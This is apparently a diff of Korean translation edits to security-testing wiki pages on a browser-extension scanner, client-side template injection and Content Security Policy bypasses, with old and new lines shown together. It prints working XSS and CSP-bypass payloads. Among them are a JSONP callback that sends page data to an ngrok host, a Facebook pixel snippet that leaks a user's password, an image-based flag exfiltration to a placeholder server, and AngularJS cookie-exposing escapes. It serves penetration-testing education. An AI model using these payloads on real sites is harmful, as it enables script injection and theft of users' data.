- 확장의 예쁘게 정리된 버전 다운로드 (자동으로 예쁘게 정리된 HTML 및 JavaScript).
- 스캔 결과의 자동 캐싱, 확장 스캔을 처음 실행할 때는 상당한 시간이 소요됩니다. 그러나 두 번째 실행 시 확장이 업데이트되지 않았다면 결과가 캐시되어 거의 즉시 완료됩니다.
- 링크 가능한 보고서 URL, 다른 사람에게 tarnish에서 생성된 확장 보고서에 쉽게 링크할 수 있습니다.
- 확장의 예쁘게 포맷된 버전 다운로드 (자동으로 예쁘게 포맷된 HTML 및 JavaScript).
- 스캔 결과의 자동 캐싱, 확장 스캔을 처음 실행할 때는 상당한 시간이 소요됩니다. 그러나 두 번째 실행 시, 확장이 업데이트되지 않았다면 결과가 캐시되어 거의 즉시 완료됩니다.
- 링크 가능한 보고서 URL, 다른 사람에게 tarnish가 생성한 확장 보고서에 쉽게 링크할 수 있습니다.
### [Neto](https://github.com/elevenpaths/neto)

View File

@ -4,9 +4,9 @@
## 요약
이는 **서버 사이드 템플릿 인젝션**([**Server Side Template Injection**](ssti-server-side-template-injection/))과 유사하지만 **클라이언트**에서 발생합니다. **SSTI**는 원격 서버에서 **코드를 실행**할 수 있게 해주지만, **CSTI**는 피해자의 브라우저에서 **임의의 JavaScript** 코드를 실행할 수 있게 해줍니다.
이는 **서버 사이드 템플릿 인젝션**([**Server Side Template Injection**](ssti-server-side-template-injection/index.html))과 유사하지만 **클라이언트**에서 발생합니다. **SSTI**는 원격 서버에서 **코드를 실행**할 수 있게 해주지만, **CSTI**는 피해자의 브라우저에서 **임의의 JavaScript** 코드를 실행할 수 있게 해줍니다.
이 취약점을 **테스트**하는 것은 **SSTI**의 경우와 매우 **유사**하며, 인터프리터는 **템플릿**을 기대하고 이를 실행합니다. 예를 들어, `{{ 7-7 }}`와 같은 페이로드를 사용했을 때, 앱이 **취약**하다면 `0`이 표시되고, 그렇지 않면 원래의 `{{ 7-7 }}`가 표시됩니다.
이 취약점을 **테스트**하는 것은 **SSTI**의 경우와 매우 **유사**하며, 인터프리터는 **템플릿**을 기대하고 이를 실행합니다. 예를 들어, `{{ 7-7 }}`와 같은 페이로드를 사용했을 때, 앱이 **취약**하다면 `0`이 표시되고, 그렇지 않면 원래의 `{{ 7-7 }}`가 표시됩니다.
## AngularJS
@ -41,7 +41,7 @@ A really good post on CSTI in VUE can be found in [https://portswigger.net/resea
```
{{_openBlock.constructor('alert(1)')()}}
```
크레딧: [Gareth Heyes, Lewis Ardern & PwnFunction](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)
Credit: [Gareth Heyes, Lewis Ardern & PwnFunction](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)
### **V2**
```

View File

@ -6,7 +6,7 @@
Content Security Policy (CSP)는 주로 **교차 사이트 스크립팅(XSS)과 같은 공격으로부터 보호하기 위한** 브라우저 기술로 인식됩니다. 이는 브라우저가 안전하게 리소스를 로드할 수 있는 경로와 출처를 정의하고 상세히 설명함으로써 작동합니다. 이러한 리소스는 이미지, 프레임 및 JavaScript와 같은 다양한 요소를 포함합니다. 예를 들어, 정책은 동일한 도메인(자체)에서 리소스를 로드하고 실행하는 것을 허용할 수 있으며, 여기에는 인라인 리소스와 `eval`, `setTimeout`, 또는 `setInterval`과 같은 함수를 통한 문자열 코드 실행이 포함됩니다.
CSP의 구현은 **응답 헤더**를 통해 또는 **HTML 페이지에 메타 요소를 포함시킴으로써** 수행됩니다. 이 정책에 따라 브라우저는 이러한 규정을 적극적으로 시행하고 감지된 위반 사항 즉시 차단합니다.
CSP의 구현은 **응답 헤더**를 통해 또는 **HTML 페이지에 메타 요소를 포함시킴으로써** 수행됩니다. 이 정책에 따라 브라우저는 이러한 규정을 적극적으로 시행하고 즉시 감지된 위반을 차단합니다.
- Implemented via response header:
```
@ -25,7 +25,7 @@ CSP는 다음 헤더를 사용하여 시행되거나 모니터링될 수 있습
### Defining Resources
CSP는 활성 및 수동 콘텐츠 로딩의 출처를 제한하여 인라인 JavaScript 실행 및 `eval()` 사용과 같은 측면을 제어합니다. 정책의 예는 다음과 같습니다:
CSP는 활성 및 수동 콘텐츠 로딩의 출처를 제한하여 인라인 JavaScript 실행 및 `eval()` 사용과 같은 측면을 제어합니다. 예시 정책은:
```bash
default-src 'none';
img-src 'self';
@ -39,38 +39,38 @@ object-src 'none';
```
### 지시어
- **script-src**: JavaScript에 대한 특정 소스를 허용하며, URL, 인라인 스크립트 및 이벤트 핸들러나 XSLT 스타일시트에 의해 트리거된 스크립트를 포함합니다.
- **script-src**: JavaScript에 대한 특정 출처를 허용하며, 여기에는 URL, 인라인 스크립트 및 이벤트 핸들러나 XSLT 스타일시트에 의해 트리거된 스크립트가 포함됩니다.
- **default-src**: 특정 가져오기 지시어가 없을 때 리소스를 가져오기 위한 기본 정책을 설정합니다.
- **child-src**: 웹 워커 및 임베디드 프레임 콘텐츠에 대한 허용된 리소스를 지정합니다.
- **connect-src**: fetch, WebSocket, XMLHttpRequest와 같은 인터페이스를 사용하여 로드할 수 있는 URL을 제한합니다.
- **frame-src**: 프레임에 대한 URL을 제한합니다.
- **frame-ancestors**: 현재 페이지를 포함할 수 있는 소스를 지정하며, `<frame>`, `<iframe>`, `<object>`, `<embed>`, `<applet>`와 같은 요소에 적용됩니다.
- **img-src**: 이미지에 대한 허용된 소스를 정의합니다.
- **font-src**: `@font-face`를 사용하여 로드된 글꼴에 대한 유효한 소스를 지정합니다.
- **manifest-src**: 애플리케이션 매니페스트 파일의 허용된 소스를 정의합니다.
- **media-src**: 미디어 객체를 로드하기 위한 허용된 소스를 정의합니다.
- **object-src**: `<object>`, `<embed>`, `<applet>` 요소에 대한 허용된 소스를 정의합니다.
- **frame-ancestors**: 현재 페이지를 포함할 수 있는 출처를 지정하며, `<frame>`, `<iframe>`, `<object>`, `<embed>`, `<applet>`와 같은 요소에 적용됩니다.
- **img-src**: 이미지에 대한 허용된 출처를 정의합니다.
- **font-src**: `@font-face`를 사용하여 로드된 글꼴에 대한 유효한 출처를 지정합니다.
- **manifest-src**: 애플리케이션 매니페스트 파일의 허용된 출처를 정의합니다.
- **media-src**: 미디어 객체를 로드하기 위한 허용된 출처를 정의합니다.
- **object-src**: `<object>`, `<embed>`, `<applet>` 요소에 대한 허용된 출처를 정의합니다.
- **base-uri**: `<base>` 요소를 사용하여 로드할 수 있는 허용된 URL을 지정합니다.
- **form-action**: 폼 제출을 위한 유효한 엔드포인트를 나열합니다.
- **plugin-types**: 페이지가 호출할 수 있는 mime 유형을 제한합니다.
- **plugin-types**: 페이지에서 호출할 수 있는 MIME 유형을 제한합니다.
- **upgrade-insecure-requests**: 브라우저에 HTTP URL을 HTTPS로 재작성하도록 지시합니다.
- **sandbox**: `<iframe>`의 sandbox 속성과 유사한 제한을 적용합니다.
- **report-to**: 정책이 위반될 경우 보고서를 보낼 그룹을 지정합니다.
- **worker-src**: Worker, SharedWorker 또는 ServiceWorker 스크립트에 대한 유효한 소스를 지정합니다.
- **prefetch-src**: 가져오거나 미리 가져올 리소스에 대한 유효한 소스를 지정합니다.
- **worker-src**: Worker, SharedWorker 또는 ServiceWorker 스크립트에 대한 유효한 출처를 지정합니다.
- **prefetch-src**: 가져오거나 미리 가져올 리소스에 대한 유효한 출처를 지정합니다.
- **navigate-to**: 문서가 어떤 수단으로든 탐색할 수 있는 URL을 제한합니다 (a, form, window.location, window.open 등).
### 소스
### 출처
- `*`: `data:`, `blob:`, `filesystem:` 스킴을 제외한 모든 URL을 허용합니다.
- `'self'`: 동일한 도메인에서 로드를 허용합니다.
- `'data'`: 데이터 스킴을 통해 리소스를 로드할 수 있도록 허용합니다 (예: Base64 인코딩된 이미지).
- `'none'`: 어떤 소스에서도 로드를 차단합니다.
- `'none'`: 어떤 출처에서도 로드를 차단합니다.
- `'unsafe-eval'`: `eval()` 및 유사한 메서드의 사용을 허용하지만 보안상의 이유로 권장되지 않습니다.
- `'unsafe-hashes'`: 특정 인라인 이벤트 핸들러를 활성화합니다.
- `'unsafe-inline'`: 인라인 `<script>` 또는 `<style>`과 같은 인라인 리소스의 사용을 허용하지만 보안상의 이유로 권장되지 않습니다.
- `'nonce'`: 암호화된 nonce(한 번 사용되는 숫자)를 사용하는 특정 인라인 스크립트에 대한 화이트리스트입니다.
- JS 제한 실행이 있는 경우, `doc.defaultView.top.document.querySelector("[nonce]")`를 사용하여 페이지 내에서 사용된 nonce를 가져오고 이를 재사용하여 악성 스크립트를 로드할 수 있습니다 (strict-dynamic이 사용되는 경우, 허용된 소스는 새로운 소스를 로드할 수 있으므로 필요하지 않습니다), 예를 들어:
- JS 실행이 제한된 경우, `doc.defaultView.top.document.querySelector("[nonce]")`를 사용하여 페이지 내에서 사용된 nonce를 가져오고 이를 재사용하여 악성 스크립트를 로드할 수 있습니다 (strict-dynamic이 사용되는 경우, 허용된 출처는 새로운 출처를 로드할 수 있으므로 필요하지 않습니다), 예를 들어:
<details>
@ -88,14 +88,14 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
```
</details>
- `'sha256-<hash>'`: 특정 sha256 해시가 있는 스크립트를 화이트리스트에 추가합니다.
- `'sha256-<hash>'`: 특정 sha256 해시를 가진 스크립트를 화이트리스트에 추가합니다.
- `'strict-dynamic'`: nonce 또는 해시로 화이트리스트에 추가된 경우 모든 출처에서 스크립트를 로드할 수 있습니다.
- `'host'`: `example.com`과 같은 특정 호스트를 지정합니다.
- `https:`: HTTPS를 사용하는 URL로 제한합니다.
- `blob:`: Blob URL(예: JavaScript를 통해 생성된 Blob URL)에서 리소스를 로드할 수 있습니다.
- `filesystem:`: 파일 시스템에서 리소스를 로드할 수 있습니다.
- `'report-sample'`: 위반 보고서에 위반 코드를 샘플로 포함합니다(디버깅에 유용).
- `'strict-origin'`: 'self'와 유사하지만 출처의 프로토콜 보안 수준이 문서와 일치하는지 확인합니다(안전한 출처만 안전한 출처에서 리소스를 로드할 수 있습니다).
- `'strict-origin'`: 'self'와 유사하지만 출처의 프로토콜 보안 수준이 문서와 일치하는지 확인합니다(안전한 출처만 안전한 출처에서 리소스를 로드할 수 있).
- `'strict-origin-when-cross-origin'`: 동일 출처 요청을 할 때 전체 URL을 전송하지만, 교차 출처 요청 시에는 출처만 전송합니다.
- `'unsafe-allow-redirects'`: 즉시 다른 리소스로 리디렉션되는 리소스를 로드할 수 있습니다. 보안을 약화시키므로 권장하지 않습니다.
@ -126,7 +126,7 @@ Content-Security-Policy: script-src https://google.com 'unsafe-eval';
```
### strict-dynamic
만약 허용된 JS 코드가 당신의 JS 코드로 DOM에 새로운 스크립트 태그를 생성할 수 있다면, 허용된 스크립트가 그것을 생성하고 있기 때문에 **새로운 스크립트 태그는 실행될 수 있습니다**.
만약 허용된 JS 코드가 당신의 JS 코드로 새로운 스크립트 태그를 DOM에 생성할 수 있다면, 허용된 스크립트가 그것을 생성하고 있기 때문에 **새로운 스크립트 태그는 실행될 수 있습니다**.
### Wildcard (\*)
```yaml
@ -161,13 +161,13 @@ JS 파일을 업로드할 수 있다면 이 CSP를 우회할 수 있습니다:
```
그러나 서버가 **업로드된 파일을 검증하고** 특정 유형의 파일만 **업로드하도록 허용할 가능성이 높습니다**.
게다가, 서버에서 허용하는 확장자를 가진 파일에 **JS 코드를 포함하여** 업로드할 수 있다고 하더라도(예: _script.png_) 이는 충분하지 않습니다. 왜냐하면 Apache 서버와 같은 일부 서버는 **확장자에 따라 파일의 MIME 유형을 선택하고**, Chrome과 같은 브라우저는 **이미지여야 하는 것 안의 Javascript** 코드를 실행하는 것을 **거부하기 때문입니다**. "다행히도", 실수가 있습니다. 예를 들어, CTF에서 **Apache는** _**.wave**_ 확장자를 알지 못하므로 **audio/\***와 같은 **MIME 유형으로 제공하지 않습니다**.
게다가, 서버에서 허용하는 확장자를 가진 파일에 **JS 코드를 포함하여** 업로드할 수 있다고 하더라도(예: _script.png_) 이는 충분하지 않습니다. 일부 서버는 아파치 서버와 같이 **파일의 MIME 유형을 확장자에 따라 선택하고**, Chrome과 같은 브라우저는 **이미지여야 하는 것 안의 Javascript** 코드를 실행하는 것을 **거부니다**. "다행히도", 실수가 있습니다. 예를 들어, CTF에서 **Apache는** _**.wave**_ 확장자를 알지 못하므로 **audio/\***와 같은 **MIME 유형으로 제공하지 않습니다**.
여기서 XSS와 파일 업로드를 찾고, **잘못 해석된 확장자**를 찾으면, 해당 확장자와 스크립트 내용을 가진 파일을 업로드해 볼 수 있습니다. 또는 서버가 업로드된 파일의 올바른 형식을 확인하는 경우, 폴리글롯을 생성할 수 있습니다 ([여기에서 일부 폴리글롯 예](https://github.com/Polydet/polyglot-database)).
여기서 XSS와 파일 업로드를 찾고, **잘못 해석된 확장자**를 찾으면, 해당 확장자와 스크립트 내용을 가진 파일을 업로드해 볼 수 있습니다. 또는 서버가 업로드된 파일의 올바른 형식을 확인하는 경우, 폴리글롯을 생성할 수 있습니다 ([여기에서 일부 폴리글롯 예](https://github.com/Polydet/polyglot-database)).
### Form-action
JS를 주입할 수 없다면, 예를 들어 **폼 액션을 주입하여** 자격 증명을 유출해 볼 수 있습니다(그리고 아마도 비밀번호 관리자가 비밀번호를 자동으로 채우기를 기대할 수 있습니다). [**이 보고서에서 예를 찾을 수 있습니다**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). 또한 `default-src`가 폼 액션을 포함하지 않는다는 점에 유의하세요.
JS를 주입할 수 없다면, 예를 들어 자격 증명을 **폼 액션을 주입하여** 유출해 볼 수 있습니다(그리고 아마도 비밀번호 관리자가 비밀번호를 자동으로 채우기를 기대할 수 있습니다). [**이 보고서에서 예를 찾을 수 있습니다**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). 또한, `default-src`가 폼 액션을 포함하지 않는다는 점에 유의하세요.
### 제3자 엔드포인트 + ('unsafe-eval')
@ -197,7 +197,7 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>
```
#### Angular `window` 객체를 반환하는 함수가 있는 라이브러리를 사용하는 페이로드 ([이 게시물을 확인하세요](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
#### Angular + `window` 객체를 반환하는 함수가 있는 라이브러리를 사용하는 페이로드 ([이 게시물을 확인하세요](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
> [!NOTE]
> 이 게시물은 `cdn.cloudflare.com` (또는 다른 허용된 JS 라이브러리 저장소)에서 모든 **라이브러리**를 **로드**하고, 각 라이브러리에서 추가된 모든 함수를 실행하며, **어떤 라이브러리의 어떤 함수가 `window` 객체를 반환하는지** 확인할 수 있음을 보여줍니다.
@ -284,9 +284,9 @@ Content-Security-Policy: script-src 'self' https://www.google.com https://www.yo
https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>
```
[**JSONBee**](https://github.com/zigoo0/JSONBee) **는 다양한 웹사이트의 CSP 우회를 위한 사용 준비가 완료된 JSONP 엔드포인트를 포함합니다.**
[**JSONBee**](https://github.com/zigoo0/JSONBee) **는 다양한 웹사이트의 CSP 우회를 위한 즉시 사용 가능한 JSONP 엔드포인트를 포함합니다.**
**신뢰할 수 있는 엔드포인트에 Open Redirect가 포함되어 있으면** 동일한 취약점이 발생합니다. 초기 엔드포인트가 신뢰할 수 있는 경우 리디렉션도 신뢰니다.
**신뢰할 수 있는 엔드포인트에 Open Redirect가 포함된 경우** 동일한 취약점이 발생합니다. 초기 엔드포인트가 신뢰할 수 있는 경우 리디렉션도 신뢰할 수 있습니다.
### 제3자 남용
@ -303,26 +303,26 @@ https://www.youtube.com/oembed?callback=alert;
| Salesforce Heroku | \*.herokuapp.com | Exfil, Exec |
| Google Firebase | \*.firebaseapp.com | Exfil, Exec |
대상 CSP에서 허용된 도메인을 찾으면, 제3자 서비스에 등록하여 해당 서비스로 데이터를 유출하거나 코드를 실행할 수 있는 가능성이 있습니다.
대상 CSP에서 허용된 도메인을 발견하면, 제3자 서비스에 등록하여 해당 서비스로 데이터를 유출하거나 코드를 실행할 수 있는 가능성이 있습니다.
예를 들어, 다음과 같은 CSP를 찾으면:
예를 들어, 다음 CSP를 발견하면:
```
Content-Security-Policy: default-src 'self www.facebook.com;
```
또는
or
```
Content-Security-Policy: connect-src www.facebook.com;
```
데이터를 유출할 수 있어야 하며, 이는 항상 [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/)를 사용하여 수행해 온 방식과 유사합니다. 이 경우, 다음 일반 단계를 따릅니다:
데이터를 유출할 수 있어야 하며, 이는 항상 [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/)를 사용하여 수행해온 방식과 유사합니다. 이 경우, 다음 일반 단계를 따릅니다:
1. 여기에서 Facebook Developer 계정을 만듭니다.
2. 새 "Facebook Login" 앱을 만들고 "Website"를 선택합니다.
3. "Settings -> Basic"으로 가서 "App ID"를 가져옵니다.
4. 데이터 유출을 원하는 대상 사이트에서 "customEvent"와 데이터 페이로드를 통해 Facebook SDK 가젯 "fbq"를 직접 사용하여 데이터를 유출할 수 있습니다.
4. 데이터 유출하는 대상 사이트에서 "customEvent"와 데이터 페이로드를 통해 Facebook SDK 가젯 "fbq"를 직접 사용하여 데이터를 유출할 수 있습니다.
5. 앱의 "Event Manager"로 가서 생성한 애플리케이션을 선택합니다 (이벤트 관리자는 다음과 유사한 URL에서 찾을 수 있습니다: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
6. "Test Events" 탭을 선택하여 "귀하의" 웹사이트에서 전송되는 이벤트를 확인합니다.
그런 다음, 피해자 측에서 다음 코드를 실행하여 공격자의 Facebook 개발자 계정 앱 ID를 가리키도록 Facebook 추적 픽셀을 초기화하고 다음과 같은 사용자 정의 이벤트를 발행합니다:
그런 다음, 피해자 측에서 다음 코드를 실행하여 Facebook 추적 픽셀을 초기화하고 공격자의 Facebook 개발자 계정 앱 ID를 가리키고 다음과 같은 사용자 정의 이벤트를 발행합니다:
```JavaScript
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{
@ -359,7 +359,7 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe
### 누락된 **base-uri**
**base-uri** 지시어가 누락된 경우, 이를 악용하여 [**dangling markup injection**](../dangling-markup-html-scriptless-injection/)을 수행할 수 있습니다.
**base-uri** 지시어가 누락된 경우, 이를 악용하여 [**dangling markup injection**](../dangling-markup-html-scriptless-injection/index.html)을 수행할 수 있습니다.
게다가, **페이지가 상대 경로를 사용하여 스크립트를 로드하는 경우**(`<script src="/js/app.js">`) **Nonce**를 사용하여 **base** **태그**를 악용하여 **자신의 서버에서 스크립트를 로드하게 하여 XSS를 달성할 수 있습니다.**\
취약한 페이지가 **httpS**로 로드되는 경우, base에 httpS URL을 사용하십시오.
@ -368,14 +368,14 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe
```
### AngularJS 이벤트
특정 정책인 Content Security Policy (CSP)는 JavaScript 이벤트를 제한할 수 있습니다. 그럼에도 불구하고, AngularJS는 대안으로 사용자 정의 이벤트를 도입합니다. 이벤트 내에서 AngularJS는 네이티브 브라우저 이벤트 객체를 참조하는 고유한 객체 `$event`를 제공합니다. 이 `$event` 객체는 CSP를 우회하는 데 악용될 수 있습니다. 특히 Chrome에서는 `$event/event` 객체가 이벤트 실행 체인에 관련된 객체 배열을 포함하는 `path` 속성을 가지고 있으며, `window` 객체는 항상 끝에 위치합니다. 이 구조는 샌드박스 탈출 전술에 중요합니다.
특정 정책인 Content Security Policy (CSP)는 JavaScript 이벤트를 제한할 수 있습니다. 그럼에도 불구하고 AngularJS는 대안으로 사용자 정의 이벤트를 도입합니다. 이벤트 내에서 AngularJS는 네이티브 브라우저 이벤트 객체를 참조하는 고유한 객체 `$event`를 제공합니다. 이 `$event` 객체는 CSP를 우회하는 데 악용될 수 있습니다. 특히 Chrome에서는 `$event/event` 객체가 이벤트 실행 체인에 관련된 객체 배열을 보유하는 `path` 속성을 가지고 있으며, `window` 객체는 항상 끝에 위치합니다. 이 구조는 샌드박스 탈출 전술에 중요합니다.
이 배열을 `orderBy` 필터로 전달함으로써, 이를 반복하여 터미널 요소(즉, `window` 객체)를 활용해 `alert()`와 같은 전역 함수를 트리거할 수 있습니다. 아래의 코드 스니펫은 이 과정을 설명합니다:
```xml
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
```
이 스니펫은 `ng-focus` 지시어를 사용하여 이벤트를 트리거하고, `$event.path|orderBy`를 사용하여 `path` 배열을 조작하며, `window` 객체를 활용하여 `alert()` 함수를 실행하여 `document.cookie`를 노출하는 방법을 강조합니다.
이 스니펫은 `ng-focus` 지시어를 사용하여 이벤트를 트리거하는 방법을 강조하며, `$event.path|orderBy`를 사용하여 `path` 배열을 조작하고, `window` 객체를 활용하여 `alert()` 함수를 실행하여 `document.cookie`를 노출합니다.
**다른 Angular 우회 방법을 찾으려면** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
@ -383,7 +383,7 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe
```
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
```
Angular JS 애플리케이션에서 스크립트 로딩을 위한 도메인을 화이트리스트하는 CSP 정책은 콜백 함수 호출 및 특정 취약한 클래스를 통해 우회될 수 있습니다. 이 기술에 대한 추가 정보는 이 [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22)에서 제공되는 자세한 가이드를 참조하십시오.
Angular JS 애플리케이션에서 스크립트 로딩을 위한 도메인을 화이트리스트하는 CSP 정책은 콜백 함수의 호출과 특정 취약한 클래스를 통해 우회될 수 있습니다. 이 기술에 대한 추가 정보는 이 [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22)에서 제공되는 자세한 가이드를 참조하십시오.
작동하는 페이로드:
```html
@ -427,9 +427,9 @@ CSP가 `https://www.google.com/a/b/c/d`로 설정된 경우, 경로가 고려되
따라서 가장 좋은 해결책은 웹사이트에 열린 리디렉션 취약점이 없도록 하고 CSP 규칙에서 악용될 수 있는 도메인이 없도록 하는 것입니다.
### 매달린 마크업으로 CSP 우회
### 덩글링 마크업으로 CSP 우회
[여기에서 읽](../dangling-markup-html-scriptless-injection/).
[여기에서 읽어보세요](../dangling-markup-html-scriptless-injection/index.html).
### 'unsafe-inline'; img-src \*; XSS를 통한
```
@ -437,7 +437,7 @@ default-src 'self' 'unsafe-inline'; img-src *;
```
`'unsafe-inline'`는 코드 내에서 모든 스크립트를 실행할 수 있음을 의미하며(XSS는 코드를 실행할 수 있음) `img-src *`는 웹페이지에서 모든 리소스의 이미지를 사용할 수 있음을 의미합니다.
이 CSP는 이미지를 통해 데이터를 유출하여 우회할 수 있습니다(이 경우 XSS는 봇이 접근할 수 있는 페이지에 SQLi가 포함된 CSRF를 악용하고 이미지를 통해 플래그를 추출합니다):
이 CSP를 우회할 수 있는 방법은 이미지를 통해 데이터를 유출하는 것입니다(이 경우 XSS는 봇이 접근할 수 있는 페이지에 SQLi가 포함된 CSRF를 악용하고 이미지를 통해 플래그를 추출합니다):
```javascript
<script>
fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new
@ -446,7 +446,7 @@ Image().src='http://PLAYER_SERVER/?'+_)
```
From: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
이 구성은 **이미지 안에 삽입된 자바스크립트 코드를 로드하는 데** 악용될 수 있습니다. 예를 들어, 페이지가 Twitter에서 이미지를 로드하는 것을 허용하는 경우, **특별한 이미지**를 **제작**하여 Twitter에 **업로드**하고 "**unsafe-inline**"을 악용하여 **JS 코드를 실행**할 수 있습니다(일반적인 XSS처럼) 이 코드는 **이미지를 로드하고**, **JS를 추출**하여 **실행**합니다: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
이 구성은 **이미지 안에 삽입된 자바스크립트 코드를 로드하는 데** 악용될 수 있습니다. 예를 들어, 페이지가 Twitter에서 이미지를 로드하는 것을 허용하는 경우, **특별한 이미지**를 **제작**하여 Twitter에 **업로드**하고 "**unsafe-inline**"을 악용하여 **JS 코드를 실행**할 수 있습니다(일반적인 XSS처럼). 이 코드는 **이미지를 로드하고**, 그 안에서 **JS를 추출**하여 **실행**합니다: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
### 서비스 워커와 함께
@ -472,13 +472,13 @@ script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
#### Edge
Edge에서는 훨씬 간단합니다. CSP에 단지 이것을 추가할 수 있다면: **`;_`** **Edge**는 **전체 정책을 삭제**합니다.\
Edge에서는 훨씬 간단합니다. CSP에 단지 이것만 추가할 수 있다면: **`;_`** **Edge**는 **정책** 전체를 **버립니다**.\
예시: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](<http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E>)
### img-src \*; via XSS (iframe) - 시간 공격
지시문 `'unsafe-inline'`의 부재에 주목하세요.\
이번에는 피해자가 **XSS**를 통해 **당신의 제어** 하에 있는 페이지를 **로드**하게 만들 수 있습니다. 이번에는 피해자가 정보를 추출하고자 하는 페이지에 접근하게 만들 것입니다 (**CSRF**). 페이지의 콘텐츠에 접근할 수는 없지만, 페이지가 로드되는 시간을 **제어할 수 있다면** 필요한 정보를 추출할 수 있습니다.
이번에는 피해자가 **XSS**를 통해 **당신의 제어** 하에 있는 페이지를 `<iframe>`으로 **로드**하게 만들 수 있습니다. 이번에는 정보를 추출하고자 하는 페이지에 피해자가 접근하게 만들 것입니다 (**CSRF**). 페이지의 콘텐츠에 접근할 수는 없지만, 페이지가 로드되는 시간을 **제어할 수 있다면** 필요한 정보를 추출할 수 있습니다.
이번에는 **플래그**가 추출될 것이며, SQLi를 통해 **문자가 올바르게 추측될 때마다** **응답**이 **더 많은 시간**을 소요하게 됩니다. 그러면 플래그를 추출할 수 있게 됩니다:
```html
@ -540,15 +540,15 @@ console.log(prefix)
run()
</script>
```
### 북마클릿을 통한 공격
### Via Bookmarklets
이 공격은 공격자가 **사용자를 설득하여 브라우저의 북마클릿 위에 링크를 드래그 앤 드롭하도록 하는** 사회 공학을 포함합니다. 이 북마클릿은 **악성 자바스크립트** 코드를 포함하고 있으며, 드래그 앤 드롭하거나 클릭할 경우 현재 웹 창의 컨텍스트에서 실행되어 **CSP를 우회하고 쿠키나 토큰과 같은 민감한 정보를 훔칠 수 있게** 합니다.
이 공격은 공격자가 **사용자 브라우저의 북마클릿 위에 링크를 드래그 앤 드롭하도록 설득하는** 사회 공학을 포함합니다. 이 북마클릿은 **악성 자바스크립트** 코드를 포함하고 있으며, 드래그 앤 드롭하거나 클릭할 경우 현재 웹 창의 컨텍스트에서 실행되어 **CSP를 우회하고 쿠키나 토큰과 같은 민감한 정보를 훔칠 수 있게** 합니다.
자세한 내용은 [**원본 보고서를 확인하세요**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/) .
자세한 내용은 [**원본 보고서를 확인하세요**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
### CSP 제한을 통한 CSP 우회
### CSP bypass by restricting CSP
[**이 CTF 작성글**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution)에서 CSP는 허용된 iframe 내부에 더 제한적인 CSP를 주입하여 우회되며, 이 CSP는 특정 JS 파일을 로드하는 것을 허용하지 않으며, 이후 **프로토타입 오염** 또는 **DOM 클러버링**을 통해 **임의의 스크립트를 로드하기 위해 다른 스크립트를 악용할 수 있게** 합니다.
[**이 CTF 작성글**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution)에서 CSP는 허용된 iframe 내부에 더 제한적인 CSP를 주입하여 우회되며, 이 CSP는 특정 JS 파일을 로드하는 것을 허용하지 않으며, 그 후 **프로토타입 오염** 또는 **DOM 클러버링**을 통해 **다른 스크립트를 악용하여 임의의 스크립트를 로드할 수 있게** 합니다.
**`csp`** 속성으로 **iframe의 CSP를 제한할 수 있습니다**:
```html
@ -556,8 +556,8 @@ run()
src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
```
